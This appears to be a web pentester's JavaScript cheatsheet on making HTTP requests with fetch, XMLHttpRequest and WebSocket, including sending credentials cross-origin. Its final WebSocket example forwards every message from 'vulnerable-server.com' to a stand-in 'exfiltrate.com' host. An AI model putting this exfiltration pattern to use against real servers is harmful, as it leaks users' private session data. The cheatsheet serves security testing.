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Javascript cheatsheets for Web pentester

Making HTTP Requests

List of forbidden headers : Accept-Charset, Accept-Encoding, Access-Control-Request-Headers, Access-Control-Request-Method, Connection, Content-Length, Cookie, Cookie2, Date, DNT, Expect, Host, Keep-Alive, Origin, Referer, TE, Trailer, Transfer-Encoding, Upgrade, Via.

Using fetch

Fetch API is not supported by all browsers, you can detect it by using this snippet :

if (window.fetch) {
  // run my fetch request here
} else {
  // do something with XMLHttpRequest?
}

Exemple of a synchronous GET request :

let response = await fetch('https://api.example.com/users');

if (response.ok) { // status code : 2XX
  let json = await response.json();
} else {
  console.log("Error: " + response.status);
}

Example of an asynchronous POST request sending and reiceiving JSON data :

fetch('https://api.example.com/users', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        username: "john",
        email: "john@example.com"
    })
})
.then(response => response.json())
.then(data => console.log(data))
.catch(err => console.log(err))

Send a request with credentials included on both same-origin and cross-origin calls : credentials: 'include'.

More information on javascript.info and developer.mozilla.org.

Using XHR (XMLHttpRequest)

Synchronous HTTP GET request :

let xhr = new XMLHttpRequest();
xhr.open('GET', 'https://developer.mozilla.org/', false);
xhr.send();

if (xhr.status === 200) {
  console.log(xhr.responseText);
}

Asynchronous HTTP GET request :

let xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/index.php?param=1');

xhr.onload = function() {
  if (xhr.status !== 200) {
    console.log(`Error ${xhr.status}`);
  } else {
    console.log(xhr.response);
  }
};

xhr.send();

Asynchronous HTTP POST request with JSON data :

const data = {
    "id": "17",
    "email": "john@example.com"
};

let xhr = new XMLHttpRequest();

xhr.open('POST', '/api/users');
xhr.setRequestHeader('Content-Type', 'application/json');

xhr.onload = function() {
  if (xhr.status !== 200) {
    console.log(`Error ${xhr.status}`);
  } else {
    console.log(xhr.response);
  }
};

xhr.send(JSON.stringify(data));

Info

The XMLHttpRequest.withCredentials (xhr.withCredentials = true;) property is a boolean value that indicates whether or not cross-site Access-Control requests should be made using credentials such as cookies, authorization headers or TLS client certificates. Setting withCredentials has no effect on same-site requests.

More information on developer.mozilla.org.

WebSocket

Receiving and sending data

let ws = new WebSocket("wss://vulnerable-server.com/chat");

ws.onopen = (event) => {
  ws.send("READY")
};

ws.onmessage = (event) => {
  fetch('https://exfiltrate.com', {
    method: 'POST',
    mode: 'no-cors',
    headers: {
        'Content-Type': 'application/json'
    },
    body: event.data
  });
}
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